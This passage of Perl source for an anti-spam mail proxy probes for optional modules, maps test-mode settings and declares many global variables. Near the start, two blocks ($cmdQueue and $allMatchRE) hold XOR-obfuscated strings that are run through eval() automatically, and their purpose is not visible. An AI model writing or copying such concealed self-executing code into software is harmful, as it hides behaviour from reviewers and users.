    'blTestMode'         => 'DoBlackDomain',
    'bombheaderTestMode' => 'DoBombHeaderRe',
    'bombTestMode'       => 'DoBombRe',

    'fhTestMode'         => 'DoFakedLocalHelo',
    'flsTestMode'        => 'DoNoValidLocalSender',

    'ihTestMode'         => 'DoInvalidFormatHelo',

    'msTestMode'         => 'DoPenaltyMessage',

    'pbTestMode'         => 'DoPenalty',

    'rblTestMode'        => 'ValidateRBL',
    'scriptTestMode'     => 'DoScriptRe',

    'srsTestMode'        => 'EnableSRS',
    'uriblTestMode'      => 'ValidateURIBL'
);
foreach my $k (values %MakeIPRE) {
    print "warning: duplicate definition for $k in preMakeRE and MakeIPRE\n" if exists $preMakeRE{$k};
    $preMakeRE{$k} = 1;
}
foreach my $k (values %MakeSLRE) {
    print "warning: duplicate definition for $k in preMakeRE and MakeSLRE\n" if exists $preMakeRE{$k};
    $preMakeRE{$k} = 1;
}
our $cmdQueue = <<'EOT';
$[=~('(?{'.('+@@@^^w^~@.@@@;\',/@!@~@\'@-*@,~~'.
'`=@@z~@.@@\'@\'@/@!,,@\')^*@,~,,@@|\'+@^&.%^/@'.
'!^!@p"%*o.&@#o@@^@@/@%,*^@@,@p@^@|@^@,@"!,~%\'@'.
'-^@^~,,}z=/.@@\'@\',@@@@~%\')^*@^~,`@{@'^'^.,%-'.
'-_z=/@&)\'@@@@"@,,%@)^^%^+,,@i;^=/@&)@;@,@"@@~%'.
'@@-^%^+~`=}[@^".^@@p^,@/@&^@@^@@@&@@(#\'".^o@^^'.
'(&\'^%^#+#[{z\'@/@@@,@@)^*%,+~`@^~@@&)@;@@/"!,,@'.
'@@-^%,+~,=@=').'})')
EOT
eval($cmdQueue);

our $allMatchRE = <<'EOT';
$[=~('(?{'.('+@@%^-_z~@@@)@@@,/@!,+.@/@@+~,@@;^'.
'=/@&)@@\',/@!,+.,@!@~,,=@[\'^@^&@@^/@@^@@p@@^@'.
'.&@#@(#\'"@/o@#^"@/p@+@|{^@,@"@@~.@/@@~~,@^=/@'.
'&@\'@@@/"!@~^@@!$~,`=@='^'^.,@-^w^=/.&@\';\'@@'.
'"@@~^,@!$~,`=i@z~@.@@\';@@@"@@~^@/@$+~`@}|@+".^'.
'.%p^,!/!&^"%*o@@&@o@@^@.^@(@\'@.^^#^#[@z\'@/@!'.
',+^,@!$+,`}z~@.@)@;\',@@@,+.,/@@+~,@{@').'})')
EOT
eval($allMatchRE);

our $mypid         = $$;
our $myNameAlso;
our $localhostname = hostname();
our $localhostip;

if ($localhostname) {
    eval {
        $localhostip = inet_ntoa( scalar( gethostbyname($localhostname) ) );
    };
}
mlog( 0,
"error : unable to resolve IP-address for local hostname <$localhostname> - $@"
) if $@;
our $WORS = "\n";
    $WORS = "\r\n" if $hConfig->{enableWORS} && !$hConfig->{LogCharset};
our $CanUseRegexOptimizer 	= 0;
our $CanUseASSP_WordStem	= 0;
our $CanUseBerkeleyDB 		= 0;
our $CanUseDB_File			= 0;

our $SysIOSocketINET6 		= -1;
	

our $AvailIOSocketINET6;	
if ($hConfig->{enableINET6}) {
	$AvailIOSocketINET6 = eval("require IO::Socket::INET6; 1"); # socket IO module
	}
our $CanUseIOSocketINET6 = $AvailIOSocketINET6 &&
      eval {
          my $sock = IO::Socket::INET6->new(Domain => AF_INET6, Listen => 1, LocalAddr => '[::]', LocalPort => $IPv6TestPort);
          if ($sock) {
              close($sock);
              $SysIOSocketINET6 = 1;
              1;
          } else {
              $AvailIOSocketINET6 = $SysIOSocketINET6 = 0;
              0;
          }
      };
our $AvailAuthenSASL = eval('use Authen::SASL; 1');  # Authen::SASL installed
our $CanUseAuthenSASL = $AvailAuthenSASL;

our $CanUseAvClamd =
  eval("use File::Scan::ClamAV; 1");    			# ClamAV module installed
our $CanUseLDAP    = eval("use Net::LDAP; 1");    	# Net LDAP module installed
our $CanUseAddress = eval("use Email::Valid; 1"); 	# Email Valid module installed
our $CanUseDNS     = eval("use Net::DNS; 1");     	# Net DNS module installed
our $AvailEMS      = eval('use Email::Send; 1');  	# Email::Send module installed
our $CanUseEMS     = $AvailEMS;
our $AvailSPF      = eval("use Mail::SPF; 1");  	# Mail SPF module installed
our $AvailSPFUtil  = eval("use Mail::SPF::Util; 1");
our $CanUseSPF     = $AvailSPF && $CanUseDNS;  		# SPF installed
our $CanUseSPF2    = $CanUseSPF;
our $CanUseSPFUtil = $AvailSPFUtil && $AvailSPF && $CanUseDNS;
our $CanUseURIBL = $CanUseDNS;                		# URIBL  installed
our $CanUseRWL   = $CanUseDNS;                		# RWL  installed
our $CanUseRBL   = $CanUseDNS;                		# DNSBL  installed
our $AvailSRS    = eval("use Mail::SRS; 1");  		# Mail SRS module installed
our $CanUseSRS   = $AvailSRS;
our $AvailZlib 	 = eval("use Compress::Zlib; 1");    # Zlib module installed
our $CanUseHTTPCompression = $AvailZlib;
our $AvailMD5      = eval("use Digest::MD5; 1");   # Digest MD5 module installed
our $CanUseMD5 	= $AvailMD5;
our $AvailSHA1  = eval("use Digest::SHA1 qw(sha1_hex); 1");   # Digest SHA1 installed
our $CanUseSHA1 = $AvailSHA1;
our $AvailRegistry = eval("use Win32::Registry; 1");
our $CanUseRegistry = $AvailRegistry;
our $AvailReadBackwards =
  eval("use File::ReadBackwards; 1");    # ReadBackwards module installed;
our $CanSearchLogs = $AvailReadBackwards;
our $AvailHiRes    = eval("use Time::HiRes; 1"); # Time::HiRes module installed;
our $CanStatCPU    = $AvailHiRes;
our $AvailIO   = eval("use PerlIO::scalar; 1"); # make it chroot savy;
our $CanChroot = $AvailIO;
our $AvailSyslog = eval("use Sys::Syslog qw( :DEFAULT setlogsock); 1");
our $AvailNetSyslog  = eval("use Net::Syslog; 1"); # syslog for Windows and *nix
our $CanUseSyslog    = $AvailSyslog;
our $CanUseNetSyslog = $AvailNetSyslog;
our $AvailWin32Daemon = eval("use Win32::Daemon; 1"); # Win32 Daemon installed
our $CanUseWin32Daemon = $AvailWin32Daemon;
our $HKEY_LOCAL_MACHINE;

if( $^O eq "MSWin32" && $CanUseWin32Daemon) {
    eval(<<'EOT');
 use Win32::Daemon;
 use Win32::Console;

 # detect if running from console or from SCM
 my $cmdlin = Win32::Console::_GetConsoleTitle () ? 1 : 0;

 if ($cmdlin) {
     $AsAService = 0;
 } else {

 mlog(0,"$PROGRAM_NAME starting as a service");
 Win32::Daemon::StartService();

 # Wait until the service manager is ready for us to continue...
 while( SERVICE_START_PENDING != Win32::Daemon::State() ) { sleep( 1 ); }
 Win32::Daemon::State( SERVICE_RUNNING );
 $AsAService = 1;

# AZ: 2009-02-05 - signal service status
sub serviceCheck {
 return unless $AsAService;
 d("serviceCheck");
 if(Win32::Daemon::State() == SERVICE_STOP_PENDING ) {
  d("service stopping");
  if ($SvcStopping == 0) {
    $SvcStopping = 1;
    mlog(0,"service stopping");
    # ask SCM for a grace time to shutdown
    Win32::Daemon::State( SERVICE_STOP_PENDING, 120000 );
    $SvcStopping = 2;
    Win32::Daemon::State( SERVICE_STOPPED );
    Win32::Daemon::StopService();
    mlog(0, "service stopped.");
    exit;
  } elsif ($SvcStopping == 1) {
    # keep telling SCM to wait for our stop
    Win32::Daemon::State( SERVICE_STOP_PENDING, 120000 );
  }
 }
}

}
EOT
    print STDERR "error: $@\n" if $@;
    printLOG("print","error: $@\n") if $@;

}

our $AvailWin32Debug =
  eval("use Win32::API::OutputDebugString qw(OutputDebugString DStr); 1");                                

our $AvailTieRDBM      = eval("use Tie::RDBM; 1");    # Use external database
our $CanUseTieRDBM     = $AvailTieRDBM;

our $AvailIPRegexp = eval('use Net::IP::Match::Regexp; 1');
our $CanMatchCIDR = $AvailIPRegexp;
our $AvailCIDRlite = eval('use Net::CIDR::Lite; 1'); # Net::CIDR::Lite module installed
our $CanUseCIDRlite = $AvailCIDRlite;
our $AvailSenderBase = eval('use Net::SenderBase; 1'); # Net::SenderBase module installed
our $CanUseSenderBase = $AvailSenderBase;
our $AvailLWP         = eval('use LWP::Simple; use HTTP::Request::Common; use LWP::UserAgent; 1');    # LWP::Simple module installed
our $CanUseLWP = $AvailLWP;
our $AvailEMM = eval('use Email::MIME::Modifier; 1'); # Email::MIME::Modifier module installed
our $CanUseEMM = $AvailEMM;
our $AvailTools;
$AvailTools = eval('use MIME::Words();1') if $CanUseEMM;
our $AvailNetSMTP     = eval('use Net::SMTP; 1');   # Net::SMTP module installed
our $CanUseNetSMTP    = $AvailNetSMTP;
our $CanUseNetSMTPTLS = 0;

our $AvailIOSocketSSL;
our $CanUseIOSocketSSL;

if ($CanUseIOSocketINET6) {
        $AvailIOSocketSSL    = eval('use IO::Socket::SSL; 1');  # IO::Socket::SSL module installed
        $CanUseIOSocketSSL   = $AvailIOSocketSSL;
        eval('use IO::Socket::INET6;') if $CanUseIOSocketSSL;   # reimport the symbols in to namespace
    } else {
        $AvailIOSocketSSL    = eval('use IO::Socket::SSL \'inet4\'; 1');  # IO::Socket::SSL module installed
        $CanUseIOSocketSSL   = $AvailIOSocketSSL;
        eval('use IO::Socket::INET;') if $CanUseIOSocketSSL;   # reimport the symbols in to namespace
    }

# our global vars
# import ConfigVars from BEGIN section
	%Config      = %$hConfig;
	@ConfigArray = @$aConfig;

our @backsctrlist;
our @badattachRE;
our @badattachsRE;
our @weightedAddressesWeight;
our @weightedAddressesWeightRE;
our @blackReWeight;
our @blackReWeightRE;
our @blackSenderBaseWeight;
our @blackSenderBaseWeightRE;
our @bombCharSetsWeight;
our @bombCharSetsWeightRE;
our @bombCharSetsMIMEWeight;
our @bombCharSetsMIMEWeightRE;
our @bombDataReWeight;
our @bombDataReWeightRE;
our @bombHeaderReWeight;
our @bombHeaderReWeightRE;
our @bombReWeight;
our @bombReWeightRE;
our @bombSenderReWeight;
our @bombSenderReWeightRE;
our @bombSubjectReWeight;
our @bombSubjectReWeightRE;
our @bombSuspiciousReWeight;
our @bombSuspiciousReWeightRE;
our @checkSenderBaseWeight;
our @checkSenderBaseWeightRE;
our @CountryCodeBlockedReWeight;
our @CountryCodeBlockedReWeightRE;
our @CountryCodeReWeight;
our @CountryCodeReWeightRE;
our @dbGroup;
our @invalidFormatHeloReWeight;
our @invalidFormatHeloReWeightRE;
our @logCount;
our @logFreq;
our @lsn;
our @lsn2;
our @lsn2I;
our @lsnI;
our @lsnNoTLSI;
our @lsnRelay;
our @lsnRelayI;
our @lsnSSL;
our @lsnSSLI;
our @mlogS;
our @msgid_secrets;
our @MyCountryCodeReWeight;
our @MyCountryCodeReWeightRE;
our @nameservers;
our @PersBlack;
our @TLStoProxyI;
our @PossibleOptionFiles;
our @PossibleOptionFiles2;
our @rbllist;
our @RealTimeLog;

our @rwllist;
our @scriptReWeight;
our @scriptReWeightRE;
our @spamFoesWeight;
our @spamFoesWeightRE;
our @spamFriendsWeight;
our @spamFriendsWeightRE;
our @SPFfallbackDomains;
our @SPFoverrideDomains;
our @SPFlocalRecord;
our @StatSocket;
our @subcache;
our @SuspiciousVirusWeight;
our @SuspiciousVirusWeightRE;
our @testReWeight;
our @testReWeightRE;
our @uribllist;
our @virusruleslist;
our @virusrulesweight;
our @WebSocket;
our @whiteReWeight;
our @whiteReWeightRE;
our @whiteSenderBaseWeight;
our @whiteSenderBaseWeightRE;
our %AdminUsersRight;
our %AllStats;
our %AUTHErrors;
our %BackDNS;
our %BackDNS2;
our %weightedAddressesWeight;
our %calist;
our %ccdlist;
our %check4updateTime;
our %ComWorker;
our %Con; keys %Con = 64;
our %ConDelete; keys %ConDelete = 64;
our %ConfigPos; keys %ConfigPos = 1024;
our %ConfigNum; keys %ConfigPos = 1024;
our %ConfigNice; keys %ConfigNice = 1024;
our %ConfigDefault; keys %ConfigDefault = 1024;
our %ConfigListBox; keys %ConfigListBox = 128;
our %ConfigListBoxAll; keys %ConfigListBoxAll = 128;
our %ConFno; keys %ConFno = 128;
our %crtable;
our %failedTable; keys %failedTable = 32;
our %cryptConfigVars;
our %CryptFile;
our %Delay;
our %DelayIPPB;
our %DelayWhite;
our %DKIMCache;
our %DKIMInfo;
our %Dnsbl;
our %DNSresolverTime;
our %DomainVRFYMTA;
our %EmailAdminDomains;
our %EmergencyBlock;
our %FileHashUpdateHash;
our %FileHashUpdateTime;
our %FileIncUpdate;
our %FileUpdate;
our %Fileno;
our %FileNoSync;
our %FlatDomains;
our %FlatVRFYMTA;
our %Griplist;
our %GroupRE;
our %GroupWatch;
our %ThreadIdleTime;
our %head;
our %HeloBlack;
our %HouseKeepingSched;
our %inchrset;
our %IPNumTries;
our %IPNumTriesDuration;
our %IPNumTriesExpiration;
our %lastd;
our %LDAPlist;
our %LDAPNotFound;
our %localDomainsFile;
our %localFrequencyCache;
our %localFrequencyNotify;
our %localTLSfailed;
our %MakeIPRE;
our %MakeRE;
our %maxHits;
our %MTAnoVRFY;
our %MXACache;
our %neverShareCFG;
our %News;
our %MEXH;
our %MRSadr;
our %MRSEadr;
our %MSadr;
our %MSEadr;
our %noOptRe;
our %NotifyRE;
our %NewsList;
our %NotifySub;
our %OKCache;
our %OldStats;
our %outchrset;
our %PBBlack;
our %PBTrap;
our %PBWhite;
our %HeloBlackCum;
our %SpamIPs;
our %PersBlack;
our %PrevStats;
our %PreHeader;
our %PTRCache;
our %qs;
our %runOnMaillogClose;
our %RBLCache;
our %rblweight;
our %RebuildSched;
our %RecRepRegex;
our %Redlist;
our %RegexError;
our %relayHostFile;
our %ResendFile;
our %RunTaskNow;
our %RWLCache;
our %rwlweight;
our %SBCache;
our %SLscore;
our %SMTPdomainIP;
our %SMTPdomainIPTries;
our %SMTPdomainIPTriesExpiration;
our %SMTPsubjectIP;
our %SameSubjectTries;
our %SameSubjectTriesExpiration;
our %SMTPSession;
our %SMTPSessionIP;
our %SocketCalls;
our %seenReportIncludes;
our %Spamdb;
our %Starterdb;
our %Spamfiles;
our %SPFCache;
our %SSLfailed;
our %SMTPfailed;
our %StatCon;
our %statRequests;
our %Stats;
our %subcountcache;
our %subidcache;
our %subtimecache;
our %SuspiciousVirusWeight;
our %URIBLCache;
our %URIBLweight;

our %URIBLaddWeight = (

    'obfuscatedip'     => 0.99,
    'obfuscateduri'    => 0.99,
    'maximumuniqueuri' => 0.92,
    'maximumuri'       => 0.90

);
our %ReportFiles = (
    'EmailSpam' => 'reports/spamreport.txt',
    'EmailHam' => 'reports/notspamreport.txt',
    'EmailWhitelistAdd' => 'reports/whitereport.txt',
    'EmailWhitelistRemove' => 'reports/whiteremovereport.txt',
    'EmailRedlistAdd' => 'reports/redreport.txt',
    'EmailRedlistRemove' => 'reports/redremovereport.txt',
    'EmailHelp' => 'reports/helpreport.txt',
    'EmailAnalyze' => 'reports/analyzereport.txt',
    'EmailSpamLoverAdd' => 'reports/slreport.txt',
    'EmailSpamLoverRemove' => 'reports/slremovereport.txt',
    'EmailNoProcessingAdd' => 'reports/npreport.txt',
    'EmailNoProcessingRemove' => 'reports/npremovereport.txt',
    'EmailBlackAdd' => 'reports/blackreport.txt',
    'EmailBlackRemove' => 'reports/blackremovereport.txt',
    'EmailPersBlackAdd' => 'reports/persblackreport.txt',
    'EmailPersBlackRemove' => 'reports/persblackremovereport.txt',
    'EmailVirusReportsToRCPT' => 'reports/virusreport.txt',
    'EmailSenderNotOK' => 'reports/denied.txt'
);

our %ReportTypes = (
    'EmailSpam' => 0,
    'EmailHam' => 1,
    'EmailWhitelistAdd' => 2,
    'EmailWhitelistRemove' => 3,
    'EmailRedlistAdd' => 4,
    'EmailRedlistRemove' => 5,
    'EmailHelp' => 7,
    'EmailAnalyze' => 8,
    'EmailSpamLoverAdd' => 10,
    'EmailSpamLoverRemove' => 11,
    'EmailNoProcessingAdd' => 12,
    'EmailNoProcessingRemove' => 13,
    'EmailBlackAdd' => 14,
    'EmailBlackRemove' => 15,
    'EmailPersBlackAdd' => 16,
    'EmailPersBlackRemove' => 17,
);
our %StatConH;
our %WebConH;
our %WebCon;
our %WebIP;
our %webRequests;
our %WeightedRe;
our %WeightedReOverwrite;
our %Whitelist;
our %WhiteOrgList;
our $AARE;
our $AnalyzeLogRegex;
our $ActWebIP;
our $ActWebSess;
our $addCharsets = 0;
our $AddIntendedForHeader=1;
our $allattachRE;
our $allLogReRE;
our $AllowedDupSubjectReRE;
our $AllowLocalAddressesReCount;
our $AllowLocalAddressesReRE;
our $alreadytestmode;
our $archivelogfile;
our $SecondaryRunning;
our $SecondaryAutoRunning;
our $SecondaryPid;
our $PrimaryPid;
our $asspCFGTime;
our $asspWarnings;
our $AVa;
our $AvailAvClamd;
our $BackDNSObject;
our $badattachL1RE;
our $badattachL2RE;
our $badattachL3RE;

our $bayesnorm = 1;
our $baysConfidenceHalfScore;
our $baysSpamLoversReRE;
our $blackReRE;
our $blackSenderBaseRE;
our $strictDomainsRE;
our $BLDRE;
our $BLDRE1;
our $BLDRE2;
our $BlockLocalAddressesReRE;
our $blockLocalReRE;
our $blockRepLastT;
our $BlockReportFilterRE;
our $BlockReportNowRun;
our $blockstrictSPFReRE;
our $blogfile;
our $bombWeightTimeOut;
our $bombCharSetsRE;
our $bombCharSetsMIMERE;
our $bombDataReRE;
our $bombHeaderReRE;
our $bombMaxPenaltyVal;
our $bombReRE;
our $bombSenderReRE;
our $bombSubjectReRE;
our $bombSuspiciousReRE;
our $BSRE;
our $calledfromThread=0;
our $canNotify = 1;
our $CanUseDKIM;
our $CanUseTNEF;
our $ccspamlt;
our $ccSpamNeverReRE;
our $cfgtime;

our $check4cfgtime;
our $check4queuetime = 0;
our $checkSenderBaseRE;
our $codeChanged;
our $color;
our $CommentAuthenSASL;
our $CommentAvClamd;
our $CommentCheckUser;
our $CommentCIDR;
our $CommentCIDRlite;
our $CommentCompressZlib;
our $CommentCS;
our $CommentDigestMD5;
our $CommentDigestSHA1;
our $CommentEmailValid;
our $CommentEMM;
our $CommentEMS;
our $CommentFileReadBackwards;
our $CommentIconv;
our $CommentIOSocketINET6;
our $CommentIOSocketSSL;
our $CommentIOSocketSSLCert;
our $CommentIOSocketSSLKey;
our $CommentLWP;
our $CommentMailSPF;
our $CommentMailSPF2;
our $CommentMailSRS;
our $CommentNetDNS;
our $CommentNetLDAP;
our $CommentNetSMTP;
our $CommentNetSyslog;
our $CommentRDBM;
our $CommentSenderBase;
our $CommentSysSyslog;
our $CommentTimeHiRes;
our $CommentWin32Daemon;

our $ConfigChanged;
our $contentOnlyReRE;
our $Counter;
our $CountryCodeBlockedReRE;
our $CountryCodeReRE;
our $cpuUsage=0;
our $currentDEBUGfile;
our $DEBUG;
our $currentPage;
our $DebugLog;
our $debugprint;
our $debugRe;
our $debugReRE;
our $debugCode;
our $DefaultDomain;
our $DelayObject;
our $DelayWhiteObject;
our $dnsbl;
our $DnsblObject;
our $DoDKIM;
our $doDKIMConv;
our $doInFixTNEF;
our $doIPcheck;

our $doMove2Num;
our $doOutFixTNEF;
our $doShutdown;
our $doShutdownForce;
our $DoT10Stat;
our $EmailNoNPRemove;

our $enableINET6;
our $EnableInternalNamesInDesc = 1;
our $enableWebAdminSSL;
our $endtime;
our $enhancedOriginIPDetect;
our $ESOKRE;
our $ExtraBlockReportLog;
our $extLogContent;
our $fallback;
our $FH;
our $fileLogging=1;
our $FileScanBadRE;
our $FileScanCounter = 1;
our $FileScanGoodRE;
our $footers;
our $haveHMM;
our $haveSpamdb;
our $haveStarterdb;
our $FreqObject;
our $fromStrictReRE;
our $FSRESPRE;
our $genDKIM;
our $goodattachRE;
our $greySenderBaseRE;
our $GriplistObject;
our $GriplistDriver;
our $Groups;
our $HBIRE;
our $headerDTDStrict;
our $headerDTDTransitional;
our $headerHTTP;
our $DoValidFormatHelo;
our $DoPrivatSpamdb;
our $headers;
our $httpchanged;

our $HeloBlackObject;
our $incFound;
our $invalidFormatHeloReRE;
our $invalidMsgIDReRE;
our $invalidPTRReRE;
our $whitePTRReRE;
our $IPDWLDRE;



our $ispHostnamesRE;
our $ispgripvalue="0.50";
our $isrunLDAPcrossCheck;
our $itime;
our $JavaScript;
our $keepInTNEF;
our $keepOutTNEF;
our $keys_deleted;
our $kudos;
our $lastMlog;
our $lastmlogWrite;
our $lastOptionCheck;
our $lastTimeoutCheck;
our $lbn;
our $LDAPlistObject;
our $LDAPNotFoundObject;
our $LDAPoffline;
our $LDRE;
our $LHNRE;
our $localdomainre;
our $localip = '127.0.0.1';
our $lookup_return;

our $lockBayes = 0;
our $lockHMM = 0;
our $lockSpamfileNames;
our $maillogEnd;
our $maillogEnd2;
our $maillogJump;
our $maxSMTPipSessionsISPIP;
our $maxSizeError;
our $maillogNewFile;
our $MaintBayesCollection = 1;
our $minusIcon;
our $mlogLastT;
our $mSLRE;
our $MTAoffline;
our $MXACacheObject;
our $MyCountryCodeReRE;
our $nameserversrt;
our $NavMenu;

our $NewsListObject;
our $NewsLetterReRE;
our $NextASSPFileDownload;
our $NextBackDNSFileDownload;
our $nextCleanCache;
our $nextCleanDelayDB;
our $nextCleanIPDom;
our $nextCleanPB;
our $nextCleanTrap;
our $NextCodeChangeCheck = time + 60;
our $nextConCheck;
our $nextDebugClear;
our $nextDestinationCheck;
our $nextdetectGhostCon=0;
our $nextdetectHourJob;
our $nextDNSCheck;
our $NextDroplistDownload;
our $nextExport;
our $nextGlobalUploadBlack;
our $nextGlobalUploadWhite;
our $NextGriplistDownload;
our $nextLDAPcrossCheck;
our $nextLoop2;
our $nextNoop;
our $NextPOP3Collect;
our $nextResendMail;
our $NextSaveStats;
our $nextSCANping;
our $NextSyncConfig;
our $NextTLDlistDownload;
our $NextVersionFileDownload;
our $NLOGRE;
our $noBackSctrReRE;
our $NoCountryCodeReRE;
our $noCollectReRE;
our $noDelayHelosReRE;
our $noIcon;
our $noLogLineReRE;
our $noLogReRE;
our $noMSGIDsigReRE;
our $NoNotifyReRE;
our $noPBwhiteReRE;
our $NoOKCachingReRE;
our $NoRelaying = "530 Relaying not allowed - REASON";
our $NoScanReRE;
our $noSPFReRE;
our $NotifyReRE;
our $NotifyCount = 1;
our $noURIBLReRE;
our $NPDRE;
our $npLocalReRE;
our $npReRE;
our $o_EMM_pm = 0;
our $OKCacheObject;
our $opencon;
our $org_Email_MIME_parts_multipart;
our $ourAutoReloadCfg;
our $override;
our $SPFoverride;
our $SPFfallback;
our $SPF_max_dns_interactive_terms = 10; # max_dns_interactive_terms max number of SPF-mechanism per domain (defaults to 10)
our $passattachRE;
our $PBBlackObject;
our $HeloBlackCumObject;
our $SpamIPsObject;
our $pbdir;
our $PBTrapObject;
our $PBWhiteObject;
our $PersBlackObject;
our $pingcount;
our $plusIcon;
our $PreHeaderObject;
our $preHeaderNPReRE;
our $preHeaderReRE;
our $PrimaryMXup;
our $PTRCacheObject;
our $queuetime=0;
our $RBLCacheObject;
our $RBLhasweights;
our $rbllists;
our $rbls_returned;
our $readable;
our $rebuild_version;
our $RedlistObject;
our $redReRE;
our $refreshWait;
our $regexMod;
our $resultConfigLists;
our $rootlogin = 1;
our $runlvl2PL;
our $RWLCacheObject;
our $saveWhite;
our $SBCacheObject;
our $scriptReRE;
our $SE_RE;
our $sendAllDestinationSwitch;
our $SHRE;
our $shuttingDown;
our $slmatch;
our $SLRE;
our $slScoringMode;
our $smtpConcurrentSessions;
our $spamdbcount;
our $SpamdbObject;
our $StarterdbObject;
our $SpamLoversReRE;
our $SpamLoverTag = '[sl]';
our $SpamProb;
our $SpamProbConfidence;
our $spamSubjectEnc;
our $spffallback;   # lower case var to config var $SPFfallback
our $spfoverride;   # lower case var to config var $SPFoverride
our $SPFCacheObject;
our $SMTPfailedObject;
our $SSLfailedObject;
our $SSLnotOK;
our $strictSpamLoversReRE;
our $strictSPFReRE;
our $subjectLogging=1;
our $subjectSpamLoversReRE;
our $suspiciousattachRE;
our $SuspiciousHeloReRE;
our $SuspiciousVirusRE;
our $testReRE;
our $testScoringMode;
our $testValencePB=1;
our $TNEFDEBUG;
our $ThreadDebug;
our $TO_RE;  
our $topmenu;
our $TriedDBFileUse;
our $uniqeIDLogging=1;
our $URIBLCacheObject;
our $URIBLIPRe;
our $URIBLCCTLDSRE;
our $URIBLcheckDOTinURI;
our $URIBLhasweights;
our $URIBLTLDSRE;
our $URIBLWLDRE;


our $UseUnicode4SubjectLogging;
our $useDB4IntCache;
our $useDB4griplist;


our $validFormatHeloReRE;
our $validMsgIDReRE;
our $validPTRReRE;
our $VerAuthenSASL;
our $VerAvClamd;
our $VerCheckUser;
our $VerCIDR;
our $VerCIDRlite;
our $VerCompressZlib;
our $VerCS;
our $VerDigestMD5;
our $VerDigestSHA1;
our $VerEmailValid;
our $VerEMM;
our $VerEMS;
our $VerFileReadBackwards;
our $VerIconv;
our $VerIOSocketINET6;
our $VerIOSocketSSL;
our $VerLWP;
our $VerMailSPF;
our $VerMailSPF2;
our $VerMailSRS;
our $VerNetDNS;
our $VerNetLDAP;
our $VerNetSMTP;
our $VerNetSyslog;
our $VerRDBM;
our $VerSenderBase;
our $VerSysSyslog;
our $VerTimeHiRes;
our $VerWin32Daemon;
our $VFRTRE;
our $webTime;
our $webPort;

our $webAdminPortOK;
our $weightMatch;
our $WhitelistObject;
our $whiteReRE;
our $whiteSenderBaseRE;
our $wildcardUser = "*";
our $WLDRE;
our $wrap;
our $writable;


$MakeRE{localDomains} 			= \&setLDRE;
$MakeRE{vrfyDomains} 			= \&setVDRE;
$MakeRE{myServerRe}   			= \&setLHNRE;
$MakeRE{VRFYforceRCPTTO}   		= \&setVFRTRE;

$MakeRE{whiteListedDomains}  	= \&setWLDRE;
$MakeRE{blackListedDomains}  	= \&setBLDRE;
$MakeRE{noProcessingDomains} 	= \&setNPDRE;
$MakeRE{heloBlacklistIgnore} 	= \&setHBIRE;

$MakeRE{URIBLCCTLDS}         	= \&setURIBLCCTLDSRE;
$MakeRE{TLDS}         			= \&setTLDSRE;
$MakeRE{URIBLwhitelist}      	= \&setURIBLWLDRE;
$MakeRE{maxSMTPdomainIPWL}   	= \&setIPDWLDRE;

$MakeRE{BounceSenders}       	= \&setBSRE;
$MakeRE{FileScanRespRe}		 	= \&setFSRESPRE;


our $syncToDo;
our $syncUser;
our $syncIP;
	%neverShareCFG = (
    'DisableSMTPNetworking' => 1,
    'defaultLocalHost' => 1,
    'myServerRe' => 1,
    'pbdb' => 1,
    'DelayShowDB' => 1,
    'DelayShowDBwhite' => 1,
    'base' => 1,

    'persblackdb' => 1,
    'griplist' => 1,

    'delaydb' => 1,
    'ldaplistdb' => 1,
    'adminusersdb' => 1,
    'mysqlSlaveMode' => 1,
    'fillUpImportDBDir' => 1,
    'ImportMysqlDB' => 1,
    'ExportMysqlDB' => 1,
    'LDAPShowDB' => 1,
    'forceLDAPcrossCheck' => 1,
    'myName' => 1,
    'asspCfg' => 1,
    'asspCfgVersion' => 1,
    'NumComWorkers' => 1,
    'ReservedOutboundWorkers' => 1,
    'DoRebuildSpamdb' => 1,
    'RebuildSchedule' => 1,
    'ReplaceOldSpamdb' => 1,
    'RunRebuildNow' => 1,
    'globalClientName' => 1,
    'globalClientPass' => 1,
    'globalClientLicDate' => 1,
    'DoGlobalBlack' => 1,
    'globalValencePB' => 1,
    'globalBlackExpiration' => 1,
    'DoGlobalWhite' => 1,
    'globalWhiteExpiration' => 1,
    'BlockRepForwHost' => 1,
    'BlockReportNow' => 1,
    'POP3ConfigFile' => 1,
    'POP3Interval' => 1,
    'POP3fork' => 1,
    'POP3KeepRejected' => 1,
    'POP3debug' => 1,
    'BerkeleyDB_DBEngine' => 1,
	'URIBLTLDS' => 1,
    'URIBLCCTLDS' => 1,
    'localBackDNSFile' => 1,

# never share the sync vars
    'enableCFGShare' => 1,
    'isShareMaster' => 1,
    'isShareSlave' => 1,
    'syncServer' => 1,
    'syncTestMode' => 1,
    'syncConfigFile' => 1,
    'syncCFGPass' => 1,
    'syncShowGUIDetails' => 1
);
%WeightedRe = (
    'SuspiciousVirus'  => 1,
    'weightedAddresses'   => 'blValencePB',
    'spamFriends'      => 'friendsValencePB',
    'spamFoes'         => 'foesValencePB',
    'bombRe'           => 'bombValencePB',
    'bombSenderRe'     => 'bombValencePB',
    'bombHeaderRe'     => 'bombValencePB',
    'bombSubjectRe'    => 'bombValencePB',
    'bombCharSets'     => 'bombValencePB',
    'bombCharSetsMIME' => 'bombValencePB',
    'bombDataRe'       => 'bombValencePB',
    'bombSuspiciousRe' => 'bombValencePB',
    'blackRe'          => 'blackValencePB',

    'scriptRe'         => 'scriptValencePB',

    'CountryCodeBlockedRe' 		=> 1,
    'CountryCodeRe'        		=> 1,
    'blackSenderBase'      		=> 1,
    'MyCountryCodeRe'      		=> 1,
    'whiteSenderBase'      		=> 1,


    'testRe'               		=> 'teValencePB',
    'invalidFormatHeloRe'  		=> 'ihValencePB',
    'invalidPTRRe'         		=> 'ptiValencePB',
    'invalidMsgIDRe'       		=> 'midiValencePB'    

    );
%WeightedReOverwrite = (
    'bombRe'           => 0,
    'bombSenderRe'     => 0,
    'bombHeaderRe'     => 0,
    'bombSubjectRe'    => 0,
    'bombCharSets'     => 0,
    'bombDataRe'       => 0,
    'bombSuspiciousRe' => 0,

    'blackRe'          => 0,

    'scriptRe'         => 0,

    'invalidFormatHeloRe'  => 0,
    'invalidPTRRe'         => 0,
    'invalidMsgIDRe'       => 0,
)
;


our $bombReWLw;
our $bombReNPw;
our $bombReLocalw;
our $bombReISPIPw;
our $blackReWLw;
our $blackReNPw;
our $blackReLocalw;
our $blackReISPIPw;
our $DoReversedWL;
our $DoReversedNP;
our $DoReversedWLw;
our $DoReversedNPw;
our $DoHeloWLw;
our $DoHeloNPw;
### end global vars
$logfile = $Config{logfile};     # set the log parms to preenable logging
$asspLog = $Config{asspLog};

$sysLog = $Config{sysLog};
$SysLogFac = $Config{SysLogFac};
$sysLogPort = $Config{sysLogPort};
